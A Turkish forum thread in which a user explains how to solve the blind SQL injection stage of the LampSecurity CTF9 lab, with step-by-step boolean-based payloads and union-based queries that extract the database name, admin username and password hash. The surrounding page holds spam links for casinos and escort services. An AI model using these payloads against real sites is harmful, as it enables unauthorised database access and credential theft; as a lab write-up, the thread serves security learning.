Forum Aski - Türkiye'nin En Eğlenceli Forumu
 

Go Back   Forum Aski - Türkiye'nin En Eğlenceli Forumu > Teknoloji Dünyası > Bilgisayar - Donanım
Kayıt ol Yardım Kimler Online Bugünki Mesajlar Arama

canlı casino siteleri canlı casino siteleri sagedatasecurity.com casino siteleri takipçi satın al
porno diyarbakır escort bayan antalya escort malatya escort

LampSecurity Boolean-based Blind SQL Injection Çözümü

Bilgisayar - Donanım kategorisinde açılmış olan LampSecurity Boolean-based Blind SQL Injection Çözümü konusu , ...


Like Tree5Beğeni
  • 1 Post By -X-
  • 1 Post By YeşiL6
  • 1 Post By -X-
  • 1 Post By YeşiL6
  • 1 Post By -X-

Yeni Konu aç  Cevapla
 
LinkBack Seçenekler Arama Stil
Alt 07.05.2016, 20:53   #1 (permalink)
-X-
Frav frivlbehz.

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart LampSecurity Boolean-based Blind SQL Injection Çözümü

LampSecurity Boolean-based Blind SQL Injection Çözümü



Merhaba madirish2600 tarafından hazırlanan LampSecurity CTF9'un Blind SQL Injection bölümünü anlatacağım. Öncelikle Blind SQL Injection sıradan SQL Injection'dan daha fazla vakit isteyen ve uğraştıran bir injectiondır. Alıştıktan sonra çözmesi, uğraşması gayet keyiflidir.

Boolean-based Blind SQL injection

Blind sql inj. olup olmadığını tespit etmek için [id] parametresinden sonra gelen değere AND 1=1# (her zaman true döner) ve AND 1=2# (her zaman false döner) ekleriz. 1=1 olduğu için sayfada bozulma meydana gelmez yani veritabanından veri getirirken herhangi bir eksiklik olmaz.



ancak her zaman false dönen 1=2 sorgusunu çalıştırırsak sayfada eskiklikler meydana gelir. Bunu görebiliyorsak blind sql inj ceptedir



Sonrasında MySQL veritabanının versiyonunu bilmemiz gerekir. Yine true false mantığı ile devam ederiz. and substring(version(),1,1)=5# sorgusu true dönüyorsa yani sayfada sıkıntı çıkmıyorsa MySQL versiyonumuz 5'tir, and substring(version(),1,1)=4# de true dönüyorsa 4'tür.

Blind SQL Inj. tespit ettik ve veritabanı versiyonumuzu öğrendik. Peki sırada ne var? Şimdi biraz daha ayrıntıya girme vakti. Her veritabanının bir adı vardır ve blind inj yaparken db adını, tablo ve kolon adlarını, çekilecek verilere kadar tahmin ve deneme yanılma yoluyla buluruz. Bu yüzden uğraştırır ancak zevklidir DB adını öğrenmeden önce db adının uzunluğunu öğrenip tahmin yürütmek zaman kazandıracaktır.

Ben yarışmayı bitirdiğim için fazla uzatmadan yazıyorum, veritabanı adının uzunluğu 7 karakter (lampsec) ve bunu da and length(database())=7# sorgusu true dönünce anlıyoruz. 7 haricinde verilecek tüm sayılar false döndürecektir ve sayfada bozukluk meydana gelecektir.

Sonrasında DB adını bilmeye geldi. and substring(database(),1,1)="f"# FALSE dönecektir çünkü veritabanı adının ilk harfi "l" harfidir. Ancak biz "f" olarak denedik.



TRUE dönmesi için and substring(database(),1,1)="l"# yazarız. Sonraki harfleri bulmak için ise aşağıdaki yol izlenmelidir;



Kod:
and substring(database(),2,1)="a"# TRUE
and substring(database(),3,1)="m"# TRUE
and substring(database(),4,1)="p"# TRUE
and substring(database(),5,1)="s"# TRUE
and substring(database(),6,1)="e"# TRUE
and substring(database(),7,1)="c"# TRUE
mysql.user erişimi var mı yok mu?

and (select 1 from mysql.user limit 0,1)=1#

user tablosu var mı yok mu?

and (select 1 from user limit 0,1)=1#


Kullanıcı girişi user_name ve user_password kolonlarındaki değerler ile yapılacağı için bakmamız gereken kolonlar user tablosundaki bu kolonlardır. TRUE dönerse senindir, dönmezse başka kolon adlarını denersin. Örneğin aşağıdaki user_name kolonu yerine username yazarsam false dönecektir. Çünkü kolon yoktur.


##########

Kolon var mı yok mu?

and (select substring(concat(1,user_name),1,1) from user limit 0,1)=1#

and (select substring(concat(1,user_password),1,1) from user limit 0,1)=1#

##########

Kullanıcı adını bulma işlemi;

and ascii(substring((SELECT concat(user_name) from user limit 0,1),1,1))>96#

Hacı bu 96 nereden çıktı? Ne güzel ilerliyorduk işte diyenler için deneme yanılma/tahmin bölümünü hatırlatmak isterim. ASCII karakter tablosunda "a" harfinin karşılığı decimal(97)'dir. Ancak sorgunun TRUE dönmesi için bir eksiği alınır ve dahil edilir. Direkt 97 yazarsam FALSE dönecekti.

Admin kullanıcısının user_name kolonundaki girdisi administrator'dür. Tüm harfleri ASCII tablosu ile teker teker yazarak test edebilirsiniz. Bu yüzden son harf "r" harfi olacaktır ve tablodaki karşılığı 114'tür. Bir eksiğini alır veriyi post ederiz.

and ascii(substring((SELECT concat(user_name) from user limit 0,1),13,1))>113# ==> TRUE

and ascii(substring((SELECT concat(user_name) from user limit 0,1),13,1))>114# ==> FALSE

Dikkat edilmesi gereken yer limit 0,1),1,1))>96 bölümünün limit 0,1),13,1))>113 olarak değişmiş olmasıdır. Açıklaması şudur; "user tablosundaki user_name kolonunda kayıtlı ilk verinin 13. değeri ASCII karşılığı olarak 113'den büyük müdür?" Payload'ı limit 0,1),13,1))=114# şeklinde de döndürebilirsiniz. Bu şekilde sayfa yine doğru olarak yüklenecektir.

Buna göre çıkan sonuç



olacaktır. Aynı adımları user_password kolonu için de yapıp md5 çıktığını [a-f]-[0-9] ASCII değerine göre alabilirsiniz.


Eğer sıradan SQL Injection atağı yapmış olsaydım (ki CTF'de bu da mevcut ama zoru çözmek güzeldir kullanacağım payload şu şekilde olacaktı;

Veritabanının versiyonunu öğren

union select 1,2,3,4,5,@@version,7,database()--


union select 1,2,3,4,5,concat(user_id,0x3a,user_name,0x3a,user_ password),7,8 from user--



ASCII Tablosu




Dipnot : Her fırsatta SQL Injection biliyormuş gibi zırlayan ve ahkam kesen havij bebelerini sahalarda görmek isteriz.

g0ts@sec baba akar..

YeşiL6 beğendi.
__________________
life over comp. sci.
-X- isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Alt 07.05.2016, 22:12   #2 (permalink)

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü

pehhhh bu kodlarla oynamak ne kadar güzel keşke bilgisayar bölümü okusaydım.

-X- beğendi.
__________________
all the best.



YeşiL6 isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Alt 08.05.2016, 16:42   #3 (permalink)
-X-
Frav frivlbehz.

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü

@[Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] Okumadan daha hoş oluyor kanka. Böyle sana öğretecek biri olmayınca daha fazla azim ediyorsun, daha iyi öğreniyorsun

YeşiL6 beğendi.
__________________
life over comp. sci.
-X- isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Alt 08.05.2016, 18:43   #4 (permalink)

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü

Alıntı:
Eien Nickli Üyeden Alıntı Mesajı göster
@[Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] Okumadan daha hoş oluyor kanka. Böyle sana öğretecek biri olmayınca daha fazla azim ediyorsun, daha iyi öğreniyorsun
doğru diyorsunda kanka şimdi zaman yok aslında benim bir hocam var o sensin

-X- beğendi.
__________________
all the best.



YeşiL6 isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Alt 08.05.2016, 19:03   #5 (permalink)
-X-
Frav frivlbehz.

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü

Ayıpsın, yazar çizeriz bi şeyler

YeşiL6 beğendi.
__________________
life over comp. sci.
-X- isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Cevapla

Yukarı'daki Konuyu Aşağıdaki Sosyal Ağlarda Paylaşabilirsiniz.


Yetkileriniz
Konu Açma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık


Forum hakkında Kullanılan sistem hakkında
Forumaski paylaşım sitesidir.Bu nedenle yazılı, görsel ve diğer materyaller sitemize kayıtlı üyelerimiz tarafından kontrol edilmeksizin eklenmektedir.Bu nedenden ötürü doğabilecek yasal sorumluluklar yazan kullanıcılara aittir.Sitemiz hak sahiplerinin şikayetleri doğrultusunda yazılı, görsel ve diğer materyalleri 48 saat içerisinde sitemizden kaldırmaktadır. Bildirimlerinizi bu linkten bize yapabilirsiniz.

Telif Hakları vBulletin® Copyright ©2000 - 2016, ve Jelsoft Enterprises Ltd.'e Aittir.
SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.
yetişkin sohbet chatkamerali.net

Saat: 06:54